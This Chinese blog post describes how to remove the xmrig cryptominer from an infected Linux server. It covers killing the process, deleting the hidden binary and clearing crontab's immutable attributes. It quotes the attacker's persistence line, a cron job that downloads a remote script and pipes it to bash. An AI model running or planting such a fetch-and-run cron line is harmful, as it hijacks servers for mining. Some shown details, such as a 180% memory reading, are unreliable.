个人总结之xmrig 挖矿自动化程序如何彻底删除【Linux问题】

第一步 检查是否存在xmrig正在执行的进程

# 在Linux 系统界面中执行 top
1 root      20   0  185340  12584   8876 S   190.0   180.3   0:04.82 xmrig 

正在被挖矿程序占用所有CPU等资源,导致本身业务无内存可用。

第二步 查看当前xmrig 文件在何处并删除

# 你可以获取 它的所在文件
find / -name xmrig 
/etc/.system/php/xmrig 

# 直接删除当前文件
rm -rf /etc/.system/php

# 然后kill掉当前正在运行的进程PID【就是刚刚查询到的进程PID】
kill -9 PID

这里是通过systemctl list-units --type=service | grep xmrig来进行查询当前系统服务并返回它运行状态

通过systemctl list-units --type=service | grep xmrig

你会发现上面的方式的确可以删除,但是过段时间进程依然存在

这个时候开始怀疑是否存在【定时任务】crontab来创建当前进程

第三步 查看是否存在定时任务来创建删除的文件和xmrig挖矿程序

就在此时,我们通过vim /etc/crontab 打开当前文件
打开文件

vim /etc/crontab

会发现存在若干针对不属于你当前的定时任务 例如

*/30 * * * * root cd1 -fsSL http://IP/php/php_8020.sh | bash
ps: 这里的IP就是那些挖矿程序的下载主机的IP

首先我们进行删除当前可执行文件中包含这种异常的定时任务【排除当前你自己写的定时任务】
ps:在删除后ESC,保存时发现当前文件没有修改权限

Operation not permitted

在退出查看时,并修改chmod 权限

chmod +x /etc/crontab

如果这里修改权限出现【chmod: changing permissions of ‘/etc/crontab’: Operation not permitted】
这里很有可能是挖矿人将这个定时任务文件进行移除不可变(i)和附加(a)属性

lsattr /etc/crontab
----ia--------e----- /etc/crontab

我们首先移除i 和a 属性

sudo chattr -i -a /etc/crontab

之后,你可以再尝试修改文件权限:

sudo chmod 644 /etc/crontab

最后查看文件

lsattr /etc/crontab

文章到这里也接近尾声!有什么错误的地方希望指正。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

自律Mail

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值